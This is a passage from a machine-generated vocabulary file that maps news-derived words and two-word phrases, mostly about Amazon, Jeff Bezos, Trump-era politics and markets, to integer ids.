"secretive discount": 43461, "far away": 43462, "glamorous": 43463, "bath news": 43464, "times jon": 43465, "democrats captivated": 43466, "racist fear": 43467, "immediate steps": 43468, "595 words": 43469, "targeted bezos": 43470, "grammy2go": 43471, "matthew whitaker": 43472, "easing": 43473, "minutes mnuchin": 43474, "revival returns": 43475, "uu related": 43476, "stepping": 43477, "drama explores": 43478, "leading edge": 43479, "yerdlljc5t": 43480, "mighty leap": 43481, "blazes face": 43482, "mistress lauran": 43483, "yeh girl": 43484, "roger scottie": 43485, "modestly affected": 43486, "president infographic": 43487, "fraudulently insinuating": 43488, "utm_term image": 43489, "ethnic peoples": 43490, "party hosted": 43491, "2018 source": 43492, "midterms ads": 43493, "sign netflix": 43494, "detailed video": 43495, "help rights": 43496, "driven lot": 43497, "south": 43498, "growing momentum": 43499, "important technology": 43500, "children school": 43501, "claims american": 43502, "saying looking": 43503, "agency works": 43504, "advertisers want": 43505, "kossowan": 43506, "team met": 43507, "story large": 43508, "swing justice": 43509, "lyrics": 43510, "830 payouts": 43511, "twin counties": 43512, "commerce dominance": 43513, "2009 plays": 43514, "n3x a4ee": 43515, "warren booker": 43516, "india html": 43517, "productivity improvements": 43518, "college poll": 43519, "helping sellers": 43520, "griffeth coke": 43521, "going aug": 43522, "roger ailes": 43523, "tech adviser": 43524, "767 freighter": 43525, "politicians anti": 43526, "pursue price": 43527, "current earning": 43528, "evangelist billy": 43529, "parcels amazon": 43530, "wisc": 43531, "liquidity": 43532, "george hw": 43533, "received clemency": 43534, "mobile tmus": 43535, "cdt copyright": 43536, "really noticed": 43537, "ben max": 43538, "lobby tells": 43539, "just today": 43540, "foes including": 43541, "scorched earth": 43542, "overall billion": 43543, "afp photo": 43544, "states start": 43545, "small factor": 43546, "press china": 43547, "tweeting google": 43548, "foley": 43549, "sent giant": 43550, "bit obviously": 43551, "delbianco": 43552, "killers newsday": 43553, "jedi mean": 43554, "police ask": 43555, "activities animated": 43556, "checkered business": 43557, "trends suggest": 43558, "bezos battle": 43559, "jillian": 43560, "counsel don": 43561, "standout": 43562, "prevent crimes": 43563, "actual likelihood": 43564, "maxsa says": 43565, "abc norwegian": 43566, "becker": 43567, "galloway calculates": 43568, "david chang": 43569, "2018 blacq": 43570, "things pan": 43571, "brussels sprouts": 43572, "felt worse": 43573, "rome": 43574, "jumbo jet": 43575, "follower leslie": 43576, "dealt blow": 43577, "shot sorry": 43578, "supposedly prevents": 43579, "named xavier": 43580, "years roger": 43581, "press donald": 43582, "frederick ryan": 43583, "lebanese traders": 43584, "persons starting": 43585, "truth sanchez": 43586, "eda": 43587, "field director": 43588, "l5e r4ee": 43589, "subscription revenues": 43590, "free treatment": 43591, "keeps close": 43592, "skymed": 43593, "naval academy": 43594, "expense meals": 43595, "casa released": 43596, "packages covering": 43597, "381 681": 43598, "battle posted": 43599, "foe new": 43600, "minus incremental": 43601, "follow structure": 43602, "transcends": 43603, "trump critics": 43604, "natural calamity": 43605, "trump reach": 43606, "blindspots": 43607, "repeatedly downplayed": 43608, "antitrust reform": 43609, "experience shipping": 43610, "null articlebundlehash": 43611, "biggest internet": 43612, "hire new": 43613, "500 employees": 43614, "nyse analyst": 43615, "prophetic point": 43616, "explosive remarks": 43617, "having difficulty": 43618, "n979746 salacious": 43619, "pass broke": 43620, "hailing services": 43621, "hell hit": 43622, "washington major": 43623, "indian forests": 43624, "violate privacy": 43625, "walking faster": 43626, "twitter tantrum": 43627, "superbugs plague": 43628, "blasio saying": 43629, "uk royal": 43630, "regard netflix": 43631, "offline channels": 43632, "hathaway brk": 43633, "allowing amazon": 43634, "free thought": 43635, "education stops": 43636, "website walmart": 43637, "marriages": 43638, "toss": 43639, "grand sweeping": 43640, "say current": 43641, "group holding": 43642, "interference creates": 43643, "probably share": 43644, "commerce company": 43645, "recently earned": 43646, "amazon potentially": 43647, "netflix maniac": 43648, "members wouldn": 43649, "killings": 43650, "secret level": 43651, "sounds distant": 43652, "tweets accuse": 43653, "trump ability": 43654, "industries produced": 43655, "sought stone": 43656, "projects continue": 43657, "batteries outselling": 43658, "city doesn": 43659, "kohls": 43660, "road improvement": 43661, "x5q16 return": 43662, "accessories bluefly": 43663, "president dilma": 43664, "regulate banks": 43665, "checkmate": 43666, "intellectuals": 43667, "anya": 43668, "wealth grow": 43669, "washington editing": 43670, "calitrumpgirl socalred14": 43671, "streets journal": 43672, "intrigued read": 43673, "overseer icann": 43674, "news triggered": 43675, "tweet aug": 43676, "themedia": 43677, "garcia bernal": 43678, "racy": 43679, "edition trump": 43680, "aerial filming": 43681, "christmas sweaters": 43682, "clergy": 43683, "online publishing": 43684, "colombian president": 43685, "amazon goodies": 43686, "uksmallbiz ukhashtags": 43687, "gabby adler": 43688, "59th": 43689, "manipulation ethnically": 43690, "little flower": 43691, "carried": 43692, "media behemoth": 43693, "quartz share": 43694, "encana history": 43695, "pulling ahead": 43696, "net neutrality": 43697, "manager michael": 43698, "finally pulled": 43699, "trolls president": 43700, "morning dave": 43701, "minister modi": 43702, "approving remarks": 43703, "far 2019": 43704, "networking companies": 43705, "puppet year": 43706, "toso": 43707, "governmental control": 43708, "watch woke": 43709, "blue attacks": 43710, "scratch": 43711, "dumped unlike": 43712, "chris bianco": 43713, "farmers hope": 43714, "trumpets": 43715, "judge tried": 43716, "deflating traffic": 43717, "logging amazon": 43718, "facebook really": 43719, "run series": 43720, "ice agency": 43721, "nomura instinet": 43722, "taxes risk": 43723, "unnerving bald": 43724, "pretty high": 43725, "irs release": 43726, "keith caneiro": 43727, "purchase price": 43728, "couple disclosed": 43729, "media organizations": 43730, "microsoft windows": 43731, "chairwoman": 43732, "nonprofits mijente": 43733, "gotenna": 43734, "aggressive interrogation": 43735, "company published": 43736, "drawled": 43737, "bezos jeff": 43738, "year hq2": 43739, "announces robo": 43740, "stock tumbles": 43741, "companies make": 43742, "model electronic": 43743, "cmo rajesh": 43744, "foley square": 43745, "3121 click": 43746, "reported china": 43747, "based worker": 43748, "large immigrant": 43749, "migraine": 43750, "lifting people": 43751, "cushy": 43752, "dessert": 43753, "yiwu work": 43754, "fixation going": 43755, "spending away": 43756, "new session": 43757, "enquirer denies": 43758, "corporations sanders": 43759, "facility yesterday": 43760, "russian": 43761, "neutral globaldata": 43762, "huntington national": 43763, "company contract": 43764, "knot": 43765, "acquiring previous": 43766, "amasses": 43767, "beatty": 43768, "elaborating": 43769, "q8 function": 43770, "consider separating": 43771, "photos hinting": 43772, "nuclear bombs": 43773, "group mijente": 43774, "amy irving": 43775, "teased story": 43776, "year agree": 43777, "wasn working": 43778, "big jump": 43779, "court documents": 43780, "supermicro china": 43781, "blue apron": 43782, "zakim": 43783, "dogma": 43784, "recourse": 43785, "reputation jonathan": 43786, "method brought": 43787, "debacles": 43788, "2fnationworld": 43789, "trump hair": 43790, "chair sen": 43791, "paul schrader": 43792, "company beat": 43793, "stunning investigative": 43794, "giants join": 43795, "outstripped": 43796, "fagna griffeth": 43797, "fevered logic": 43798, "investment wrote": 43799, "says child": 43800, "ted olson": 43801, "afternoon serving": 43802, "incentive letter": 43803, "wield influence": 43804, "products 2018": 43805, "experience moody": 43806, "search technology": 43807, "sell counterfeits": 43808, "direction doesn": 43809, "marketwatch tight": 43810, "walmart agrees": 43811, "cramer": 43812, "key documents": 43813, "career officer": 43814, "bumbling effort": 43815, "lack": 43816, "husband prince": 43817, "agency bee": 43818, "kmb did": 43819, "average trendline": 43820, "topped million": 43821, "counsel cameron": 43822, "foto men": 43823, "survey": 43824, "200 mccann": 43825, "matt phillips": 43826, "standard bearer": 43827, "genders": 43828, "news clippings": 43829, "service proposes": 43830, "journal reports": 43831, "previously tweeted": 43832, "2013 schwietzer": 43833, "gonna": 43834, "unwritten rules": 43835, "sapling trees": 43836, "connected devices": 43837, "memphis spent": 43838, "home oppo": 43839, "trump crosses": 43840, "fantasy flick": 43841, "people seeking": 43842, "skate": 43843, "trump tweets": 43844, "floor decor": 43845, "best sports": 43846, "waiting months": 43847, "provisions": 43848, "championship winning": 43849, "bargaining energy": 43850, "unloading boxes": 43851, "actually compares": 43852, "melissa carter": 43853, "hillary": 43854, "rep meng": 43855, "cnnpolitical commentator": 43856, "68bil according": 43857, "consumption tax": 43858, "anti cartel": 43859, "dorsey held": 43860, "subsidies don": 43861, "secretly whispered": 43862, "mind investigators": 43863, "site alibaba": 43864, "snap": 43865, "washington foundations": 43866, "previously reached": 43867, "nooyi": 43868, "getting player": 43869, "money including": 43870, "cat videos": 43871, "employees absurd": 43872, "watch science": 43873, "good sense": 43874, "dream seeking": 43875, "shadow effects": 43876, "capacities": 43877, "ceo 2019": 43878, "citizens budget": 43879, "election campaigning": 43880, "issued presidential": 43881, "revenue alternative": 43882, "trump weighs": 43883, "catalog shippers": 43884, "valley liberal": 43885, "tech media": 43886, "just royally": 43887, "posits": 43888, "house earlier": 43889, "relied": 43890, "administration saying": 43891, "brings viable": 43892, "spokeswoman did": 43893, "l2 a2": 43894, "network united": 43895, "obama supply": 43896, "phone business": 43897, "melchiorre": 43898, "men living": 43899, "expose media": 43900, "anqi shen": 43901, "environment 2018": 43902, "little time": 43903, "pumpkins": 43904, "major pay": 43905, "totaling 610": 43906, "case outside": 43907, "film balzer": 43908, "school closed": 43909, "harmful uv": 43910, "midterms midterms": 43911, "crash kills": 43912, "trump idiotic": 43913, "schultz billionaires": 43914, "holdover crony": 43915, "corrupt politicians": 43916, "st george": 43917, "unpopular": 43918, "rosiest": 43919, "record straight": 43920, "184 billion": 43921, "wire fraud": 43922, "trade winds": 43923, "margins 2018": 43924, "responded favorable": 43925, "core retail": 43926, "blasted amazon": 43927, "income rents": 43928, "aerospace company": 43929, "vast investigation": 43930, "eruption severe": 43931, "a380 feels": 43932, "copyright mmxviii": 43933, "amid broader": 43934, "second corporation": 43935, "1536750001": 43936, "reportedly lobbied": 43937, "coney barrett": 43938, "particularly politically": 43939, "dreams": 43940, "310 words": 43941, "industry gumball": 43942, "science blue": 43943, "howallusb": 43944, "shoddy service": 43945, "site unit": 43946, "compromising selfies": 43947, "way refn": 43948, "goods 2018": 43949, "authortwitter": 43950, "cardi bet": 43951, "york huge": 43952, "oblivious": 43953, "bezos threatened": 43954, "mother says": 43955, "led sanctions": 43956, "just weeks": 43957, "repairs": 43958, "380 billion": 43959, "faces criticism": 43960, "adviser john": 43961, "woodside told": 43962, "credit heather": 43963, "kind words": 43964, "great work": 43965, "trade negotiator": 43966, "day carney": 43967, "ap stock": 43968, "incremental movements": 43969, "disease study": 43970, "today accuses": 43971, "living lab": 43972, "turnonflashmessaging true": 43973, "forcibly": 43974, "nsa certainly": 43975, "egomaniacal": 43976, "hourly workers": 43977, "title": 43978, "commerce tax": 43979, "delay": 43980, "york cut": 43981, "insane logic": 43982, "new instagram": 43983, "gives chinese": 43984, "told newspaper": 43985, "woke puppeteer": 43986, "market plunged": 43987, "called shmuck": 43988, "hippy husband": 43989, "amazon rivalry": 43990, "library combined": 43991, "twitter instagram": 43992, "suspicious disappearance": 43993, "syrian border": 43994, "media previously": 43995, "trump palantir": 43996, "pictures photos": 43997, "renda": 43998, "wage raises": 43999, "democrat jared": 44000, "nephews": 44001, "hand according": 44002, "fuck deedee": 44003, "debate apple": 44004, "clearing critics": 44005, "female faces": 44006, "tjl market": 44007, "personal nature": 44008, "house china": 44009, "odalisque": 44010, "air logistics": 44011, "popular sununu": 44012, "ordinated attacks": 44013, "canadian steel": 44014, "cbs nyse": 44015, "cowen washington": 44016, "coincidently": 44017, "width 100": 44018, "midnight tell": 44019, "random disguise": 44020, "started including": 44021, "action forces": 44022, "successfully list": 44023, "community board": 44024, "operate nah": 44025, "deride": 44026, "continental advisors": 44027, "strange visions": 44028, "precarious time": 44029, "colocation northwest": 44030, "missouri plant": 44031, "annually added": 44032, "establishing": 44033, "retailer deal": 44034, "subscriptions doubled": 44035, "customs": 44036, "snl spoofs": 44037, "hett": 44038, "really fight": 44039, "wing progressives": 44040, "great satire": 44041, "named gavin": 44042, "judge district": 44043, "mcmillon walmart": 44044, "bleak retail": 44045, "defeat lexington": 44046, "amazon susceptible": 44047, "force headed": 44048, "tension words": 44049, "nbc cnn": 44050, "sports illustrated": 44051, "uncertain path": 44052, "allegations minutes": 44053, "parents joem": 44054, "msm": 44055, "acreage holdings": 44056, "wish book": 44057, "20america 20great": 44058, "97th": 44059, "war rivals": 44060, "1992 operation": 44061, "set nearly": 44062, "progressive candidates": 44063, "adviser robert": 44064, "amazon breakup": 44065, "stereotypes": 44066, "trumplighthizer says": 44067, "democrats seeking": 44068, "dead early": 44069, "click jeff": 44070, "corporate data": 44071, "human services": 44072, "new plans": 44073, "nongovernmental agencies": 44074, "look think": 44075, "hectic tale": 44076, "weirdralph": 44077, "important document": 44078, "unlikely meeting": 44079, "products imported": 44080, "senate wide": 44081, "scott lamb": 44082, "early trade": 44083, "revelations spokesman": 44084, "heil": 44085, "chided journalists": 44086, "aging": 44087, "moneygram": 44088, "kicking sand": 44089, "argue quite": 44090, "sneakily building": 44091, "list ensemble": 44092, "fact charges": 44093, "cnn david": 44094, "just leaked": 44095, "british trade": 44096, "h4e settimeout": 44097, "cardboard": 44098, "school yard": 44099, "sold 925": 44100, "bloomberg bootstrapper": 44101, "ownership questions": 44102, "chinnappa": 44103, "tax collections": 44104, "howard don": 44105, "junckers secret": 44106, "previous session": 44107, "fable": 44108, "trumponomics": 44109, "ap major": 44110, "600m": 44111, "growth questions": 44112, "labor model": 44113, "snapchat fumbles": 44114, "writing hero": 44115, "ms daniels": 44116, "parliament": 44117, "year netflix": 44118, "post sanchez": 44119, "solid work": 44120, "scholar alan": 44121, "rate greater": 44122, "just series": 44123, "says cheating": 44124, "hq2 given": 44125, "friends excited": 44126, "syndicate masquerading": 44127, "tips": 44128, "tighten": 44129, "getty_623710176_388104 jpg": 44130, "ami bought": 44131, "demanding pay": 44132, "amazon perfectly": 44133, "online exclusive": 44134, "pretty obvious": 44135, "started trending": 44136, "motivated ploy": 44137, "misusing": 44138, "major impacts": 44139, "labeling promise": 44140, "algorithm": 44141, "businesswomen": 44142, "cable amazon": 44143, "government retaliation": 44144, "costs new": 44145, "themacrotourist": 44146, "worst market": 44147, "small amounts": 44148, "measure titled": 44149, "commission nominating": 44150, "shape going": 44151, "capitalist enterprise": 44152, "amazon hero": 44153, "companies think": 44154, "makes superstar": 44155, "california frequently": 44156, "oyster": 44157, "playwright nick": 44158, "swift capitulation": 44159, "mkts": 44160, "hacking claims": 44161, "amzn currently": 44162, "yeah twitter": 44163, "global advisors": 44164, "taxes article": 44165, "william howard": 44166, "uhhhh": 44167, "rodeo": 44168, "hallmarks": 44169, "trump bit": 44170, "government amazon": 44171, "staggering 175": 44172, "trust ken": 44173, "commerce bsquare": 44174, "cards debuts": 44175, "private texts": 44176, "amazon rent": 44177, "missives online": 44178, "trade india": 44179, "told police": 44180, "thirds majority": 44181, "gonzalez told": 44182, "martin": 44183, "enforcement officials": 44184, "1993 marriage": 44185, "number sold": 44186, "nasdaq tur": 44187, "gingrich trump": 44188, "inappropriate means": 44189, "beautiful tribute": 44190, "ran using": 44191, "far": 44192, "takes things": 44193, "associations law": 44194, "thomas keller": 44195, "wa c0": 44196, "senate minority": 44197, "staunch conservative": 44198, "trumpist peter": 44199, "resignations": 44200, "absolutely win": 44201, "trades council": 44202, "inexpensively": 44203, "truth readers": 44204, "report contains": 44205, "district district": 44206, "jonathan gold": 44207, "department dod": 44208, "hulu drama": 44209, "crimes": 44210, "schools parks": 44211, "sneakers": 44212, "neosho": 44213, "deadly home": 44214, "getting local": 44215, "gain valuation": 44216, "reo": 44217, "government according": 44218, "marcelo teixeira": 44219, "adler bloomberg": 44220, "pr people": 44221, "say facebook": 44222, "point drop": 44223, "sustained volley": 44224, "unnamed journalist": 44225, "trump referring": 44226, "great audio": 44227, "original projections": 44228, "person prefer": 44229, "announced partnership": 44230, "judges concerned": 44231, "judge says": 44232, "headlines immediately": 44233, "361 shares": 44234, "transitioned": 44235, "issue raises": 44236, "mayoral race": 44237, "business cnn": 44238, "driverless car": 44239, "consider using": 44240, "reason peter": 44241, "media apps": 44242, "year neowin": 44243, "onsite utm_campaign": 44244, "9oos0ph7qb": 44245, "total job": 44246, "bank positions": 44247, "york newly": 44248, "cast want": 44249, "bezos referring": 44250, "protesters mob": 44251, "human knowledge": 44252, "investing business": 44253, "statement attached": 44254, "point gain": 44255, "profession advertisement": 44256, "infamously ruled": 44257, "rock picking": 44258, "given royalties": 44259, "trump risks": 44260, "decrease profit": 44261, "insolvency": 44262, "manufacturing data": 44263, "challenge challenge": 44264, "terrific people": 44265, "735 starbucks": 44266, "tennessee mississippi": 44267, "approached verbally": 44268, "wonderful futures": 44269, "kushal": 44270, "hope hicks": 44271, "netflix nasa": 44272, "showed set": 44273, "robot vainly": 44274, "trump investigations": 44275, "ongoing military": 44276, "fully support": 44277, "awful smell": 44278, "splc extremist": 44279, "seinfeld amazon": 44280, "denies slanderous": 44281, "frequent amazon": 44282, "trump horrific": 44283, "ford accusation": 44284, "academy graduation": 44285, "online sex": 44286, "improperly seek": 44287, "tied closely": 44288, "mike schade": 44289, "worldcupupdates": 44290, "leading online": 44291, "parents brawl": 44292, "amazon aurora": 44293, "741 189": 44294, "amato": 44295, "surprise pic": 44296, "st winston": 44297, "national security": 44298, "company selling": 44299, "earning degree": 44300, "cloud killer": 44301, "russia behalf": 44302, "baddest antitrust": 44303, "situation breaking": 44304, "protect people": 44305, "whittled": 44306, "met elizabeth": 44307, "bossy": 44308, "1289121590": 44309, "paul slansky": 44310, "twitter email": 44311, "fueling hopes": 44312, "pennsylvania avenue": 44313, "reporter manuel": 44314, "paying lip": 44315, "complaints rare": 44316, "government fail": 44317, "arpu benefited": 44318, "needed medicine": 44319, "chattering": 44320, "kushner roasted": 44321, "omb acting": 44322, "consultant network": 44323, "broader impacts": 44324, "stock portfolio": 44325, "long worried": 44326, "thomson warns": 44327, "sanders later": 44328, "america crazy": 44329, "convince sellers": 44330, "wasserstein philippe": 44331, "super friendly": 44332, "nobel prize": 44333, "long trend": 44334, "example way": 44335, "2016 mere": 44336, "peternell": 44337, "blackmail followed": 44338, "arkansas law": 44339, "financial blogger": 44340, "specific aspects": 44341, "cash barcode": 44342, "jacob": 44343, "bonus payments": 44344, "poverty law": 44345, "american monuments": 44346, "especially perturbed": 44347, "brown jkbjournalist": 44348, "nonprofits focused": 44349, "strike deal": 44350, "interviewers": 44351, "typically make": 44352, "giant google": 44353, "anne overlaid": 44354, "ban": 44355, "computing project": 44356, "post washingtonpost": 44357, "representative ro": 44358, "notably amazon": 44359, "trillion valuation": 44360, "possible deal": 44361, "iridescent shroud": 44362, "republican rep": 44363, "balogh rochfort": 44364, "authorities hit": 44365, "renato mariotti": 44366, "wage employing": 44367, "sanders published": 44368, "tax write": 44369, "failing mortgages": 44370, "wrongly accepting": 44371, "expire soon": 44372, "hq2 project": 44373, "rfe": 44374, "replacestate videocardcontents": 44375, "state": 44376, "return typeof": 44377, "wmt multiples": 44378, "oscars cbs": 44379, "rights commission": 44380, "christie findlay": 44381, "president bashar": 44382, "continue cnet": 44383, "company donald": 44384, "photograph op": 44385, "cost money": 44386, "add fewer": 44387, "president united": 44388, "capita personal": 44389, "carell playing": 44390, "politico eliana": 44391, "rarely bad": 44392, "sketch post": 44393, "imposed new": 44394, "upsets": 44395, "company arrival": 44396, "weixin china": 44397, "american captains": 44398, "way things": 44399, "recently driving": 44400, "entire company": 44401, "hit great": 44402, "estimated charge": 44403, "palantir profit": 44404, "require approval": 44405, "contributors 2018": 44406, "prelim": 44407, "weinstein forced": 44408, "americans haven": 44409, "archbishop": 44410, "realmi": 44411, "report click": 44412, "true colors": 44413, "riverchase galleria": 44414, "michael printz": 44415, "google largest": 44416, "love simon": 44417, "measly cra": 44418, "understanding consumer": 44419, "claims norris": 44420, "tabulating": 44421, "shooter killed": 44422, "functional operation": 44423, "largest cast": 44424, "hawn pearce": 44425, "tweeted network": 44426, "huge investment": 44427, "tweeting farmers": 44428, "week financial": 44429, "treasurer scott": 44430, "foto sourcefoursquare": 44431, "branded van": 44432, "barbecue airs": 44433, "boteach senior": 44434, "stem cells": 44435, "respectively": 44436, "imports hitting": 44437, "democratic aligned": 44438, "savers": 44439, "vwioeclof0 mijente": 44440, "certainly doesn": 44441, "year mandating": 44442, "actually cut": 44443, "382 400": 44444, "pacquiao": 44445, "reed spotted": 44446, "currently facing": 44447, "new limits": 44448, "nixonian comparisons": 44449, "sure hope": 44450, "opz": 44451, "hitler anschluss": 44452, "administration official": 44453, "amazon remains": 44454, "million families": 44455, "branson worked": 44456, "reach millionaire": 44457, "believability": 44458, "drive home": 44459, "truck roots": 44460, "upside griffeth": 44461, "segregated": 44462, "berman": 44463, "cramer told": 44464, "think slate": 44465, "federal probe": 44466, "accept potus": 44467, "inducted": 44468, "chipmakers": 44469, "collection gado": 44470, "grand plans": 44471, "google earlier": 44472, "frog cartoon": 44473, "hahn stream": 44474, "fox facts": 44475, "sling": 44476, "lackey doing": 44477, "cisco nasdaq": 44478, "classic kompromat": 44479, "readers attention": 44480, "adsbygoogle": 44481, "2017 shares": 44482, "quiet": 44483, "priests misdeeds": 44484, "archway": 44485, "allegations published": 44486, "development contracts": 44487, "gvi": 44488, "chump change": 44489, "woodward publisher": 44490, "dramatically additionally": 44491, "colbert referred": 44492, "published note": 44493, "trump nieto": 44494, "railing": 44495, "orphaned children": 44496, "3bn": 44497, "ashtyn evans": 44498, "salesforce crm": 44499, "spinoffs believe": 44500, "stillborn": 44501, "companies fed": 44502, "demand weakness": 44503, "list fortnite": 44504, "titled eve": 44505, "visibility observations": 44506, "president corporate": 44507, "groups public": 44508, "film apple": 44509, "monster machines": 44510, "republic newsroom": 44511, "alarming droughts": 44512, "season earned": 44513, "choose city": 44514, "annual ceremony": 44515, "spicer common": 44516, "squeeberang mini": 44517, "foreignintelligencesurveillanceact michaelcohen": 44518, "v5": 44519, "demanding mea": 44520, "decency": 44521, "rows waiting": 44522, "badly needs": 44523, "market participants": 44524, "line opened": 44525, "mutual amazon": 44526, "efforts trump": 44527, "bank analysts": 44528, "helped create": 44529, "musk asked": 44530, "lauded": 44531, "adds china": 44532, "management kkr": 44533, "culture including": 44534, "wasn aware": 44535, "news ap": 44536, "crystal city": 44537, "befell": 44538, "reveal close": 44539, "send microneedles": 44540, "upper west": 44541, "traditional retailer": 44542, "just sealed": 44543, "john flanagan": 44544, "good things": 44545, "steam": 44546, "kerry amazon": 44547, "bubble stock": 44548, "point making": 44549, "baby donald": 44550, "informant": 44551, "marvel took": 44552, "million mnuchin": 44553, "trim dslr": 44554, "corporate promises": 44555, "spencer platt": 44556, "area home": 44557, "expos": 44558, "buildings bezos": 44559, "inspirational poem": 44560, "ailing mccain": 44561, "wide ranging": 44562, "self description": 44563, "soon yes": 44564, "storynow watch": 44565, "unidentified people": 44566, "enticement": 44567, "newest senior": 44568, "assets representing": 44569, "correspondents association": 44570, "bush clarkson": 44571, "trips": 44572, "corporate owned": 44573, "growth catalysts": 44574, "racism op": 44575, "life centered": 44576, "using america": 44577, "oppenheimer": 44578, "riverfront": 44579, "mirzapur amazon": 44580, "die list": 44581, "gains fuel": 44582, "building stadiums": 44583, "valuation crown": 44584, "centres owned": 44585, "johnston source": 44586, "provide congress": 44587, "post new": 44588, "trump engaged": 44589, "justice approaches": 44590, "maker reported": 44591, "000 word": 44592, "services forecasts": 44593, "politics stocks": 44594, "globaldata surveyed": 44595, "meltingly": 44596, "bond issuer": 44597, "hall laurie": 44598, "renegotiate": 44599, "schoolstrike4climate pic": 44600, "loved ones": 44601, "dominick spracklen": 44602, "kid loves": 44603, "amzn sellers": 44604, "2017 sidelined": 44605, "explained europe": 44606, "wonkette doesn": 44607, "unidentified": 44608, "fx": 44609, "controlled states": 44610, "products soy": 44611, "class americans": 44612, "trailer": 44613, "unilever amazon": 44614, "years request": 44615, "professionals globally": 44616, "cuts iran": 44617, "foreclosure protesters": 44618, "worst terrorist": 44619, "amazon alternative": 44620, "care funds": 44621, "long": 44622, "counter trump": 44623, "leisure items": 44624, "envision": 44625, "multi cloud": 44626, "assailed": 44627, "10b project": 44628, "joked": 44629, "singer singer": 44630, "famous madame": 44631, "giants meaning": 44632, "continued dominance": 44633, "growing wealth": 44634, "echo plus": 44635, "sounds better": 44636, "hbo photographer": 44637, "consolidating": 44638, "similar struggles": 44639, "bradbury fahrenheit": 44640, "commending": 44641, "michael approach": 44642, "effort sundar": 44643, "official works": 44644, "entertainment trade": 44645, "fed vice": 44646, "reported aws": 44647, "simply pick": 44648, "shows new": 44649, "server719398": 44650, "vehicle manufacturers": 44651, "contract provide": 44652, "killed alabama": 44653, "offering omarosa": 44654, "lifespans tend": 44655, "vice presidents": 44656, "leaning activists": 44657, "led google": 44658, "region brake": 44659, "dodging scam": 44660, "annual terms": 44661, "taken things": 44662, "finally spoke": 44663, "wondering death": 44664, "fair": 44665, "brings dead": 44666, "ny holds": 44667, "billboard truck": 44668, "lower actual": 44669, "continue discussions": 44670, "meredith mazzilli": 44671, "dick": 44672, "ethics laws": 44673, "payroll courses": 44674, "sanchez including": 44675, "somodevilla bezos": 44676, "bush koch": 44677, "agitator": 44678, "75k": 44679, "enquirer acquired": 44680, "technology challenges": 44681, "history negotiation": 44682, "data amazon": 44683, "hurston": 44684, "regularly spend": 44685, "growing business": 44686, "rebels fighting": 44687, "unraveled": 44688, "singh introduces": 44689, "week potus": 44690, "aloe": 44691, "mandatorily": 44692, "cyber criminals": 44693, "democrat urges": 44694, "chef sued": 44695, "future infrastructure": 44696, "life inside": 44697, "valuation threshold": 44698, "pitt": 44699, "mullins wsj": 44700, "course evidence": 44701, "net documents": 44702, "congressional candidates": 44703, "politifact amazon": 44704, "financials released": 44705, "r4ee e4e": 44706, "commentary hardly": 44707, "target shoppers": 44708, "outbreaks": 44709, "election results": 44710, "build preschools": 44711, "dioxide sources": 44712, "trump haunting": 44713, "videotape sara": 44714, "undermining average": 44715, "aws alibaba": 44716, "1nhtq5v": 44717, "sells aapl": 44718, "compounds": 44719, "commensurate": 44720, "prweb": 44721, "select styles": 44722, "entire region": 44723, "zappos warren": 44724, "supercharged": 44725, "data sheet": 44726, "able words": 44727, "anticompetitive manner": 44728, "personally owns": 44729, "aid thoughtful": 44730, "tax decision": 44731, "refuel": 44732, "cabinet meeting": 44733, "national monuments": 44734, "far love": 44735, "brother camera": 44736, "email accused": 44737, "peavine cap": 44738, "sure george": 44739, "function updatecurrentlyplaying": 44740, "badges": 44741, "paid porn": 44742, "quarantine": 44743, "news ahead": 44744, "prospective investors": 44745, "seance": 44746, "party carriers": 44747, "amazon experienced": 44748, "housing drove": 44749, "unfairly subsidizing": 44750, "country right": 44751, "consumer websites": 44752, "memphis": 44753, "represents significant": 44754, "willforthrill": 44755, "milton keynes": 44756, "search warren": 44757, "lineal": 44758, "constant news": 44759, "joining prior": 44760, "sen shelley": 44761, "mathes": 44762, "beals randall": 44763, "targeting trump": 44764, "alphabet admitted": 44765, "potential regulation": 44766, "headline mccain": 44767, "silence women": 44768, "bezos suggests": 44769, "carell play": 44770, "grammy award": 44771, "turning away": 44772, "reported suspects": 44773, "professionals": 44774, "politics height": 44775, "pilot arrested": 44776, "seen recently": 44777, "consistent donald": 44778, "estimation": 44779, "service despite": 44780, "driver": 44781, "medication prices": 44782, "google products": 44783, "piegza": 44784, "forward farcical": 44785, "creator amy": 44786, "samian_damian": 44787, "political pony": 44788, "caused dozens": 44789, "fbi planted": 44790, "agency according": 44791, "advertisment stocks": 44792, "devices google": 44793, "giugliano harvard": 44794, "agency quietly": 44795, "dark using": 44796, "postage discounts": 44797, "politicususa": 44798, "different facet": 44799, "new low": 44800, "791": 44801, "prophetic": 44802, "jobless workers": 44803, "nationally national": 44804, "organizing amazon": 44805, "critical aspects": 44806, "vast range": 44807, "haters laugh": 44808, "tesla did": 44809, "obama set": 44810, "ave": 44811, "whatthe": 44812, "attendees queenschronicle": 44813, "middle approach": 44814, "america lets": 44815, "pricing methods": 44816, "pac ran": 44817, "deems palantir": 44818, "suisse nyse": 44819, "day trial": 44820, "consistently saving": 44821, "administration task": 44822, "shot video": 44823, "previously consulted": 44824, "development deal": 44825, "trump ivanka": 44826, "z2z1l1mdvj": 44827, "david frum": 44828, "checkbook": 44829, "2019 resulting": 44830, "dreambox dreambox": 44831, "price stability": 44832, "answers": 44833, "000 teaching": 44834, "changes currency": 44835, "rebels": 44836, "professionals mean": 44837, "tech richest": 44838, "discussion topics": 44839, "china turkmenistan": 44840, "ask executives": 44841, "times early": 44842, "washington research": 44843, "major reform": 44844, "coverage plan": 44845, "thewrap request": 44846, "expanding honestly": 44847, "prime manageable": 44848, "lauchlan": 44849, "timelines challenging": 44850, "president rallies": 44851, "throttled": 44852, "bring carter": 44853, "trump foe": 44854, "quarter hbk": 44855, "terminally": 44856, "searsarchives": 44857, "stick": 44858, "producers buoyed": 44859, "photo tony": 44860, "created taskforce": 44861, "sleepwalking": 44862, "moderate syrian": 44863, "guy sounds": 44864, "bigness": 44865, "region believed": 44866, "bowl": 44867, "discuss topics": 44868, "trump disapproves": 44869, "surgery president": 44870, "tailer poached": 44871, "information simultaneously": 44872, "musk sec": 44873, "osm worldwide": 44874, "cashless politico": 44875, "report led": 44876, "kids extracurricular": 44877, "single moms": 44878, "underperform": 44879, "rocket booster": 44880, "inaugural american": 44881, "critical mass": 44882, "person loan": 44883, "inside relationship": 44884, "prominent journalist": 44885, "month news": 44886, "reportage": 44887, "tweeted attacks": 44888, "rockets israeli": 44889, "taking effect": 44890, "partner 2019": 44891, "conservative preoccupied": 44892, "driving": 44893, "50x50 uploaded_files": 44894, "friends kavanaugh": 44895, "posted encouraging": 44896, "piedmont": 44897, 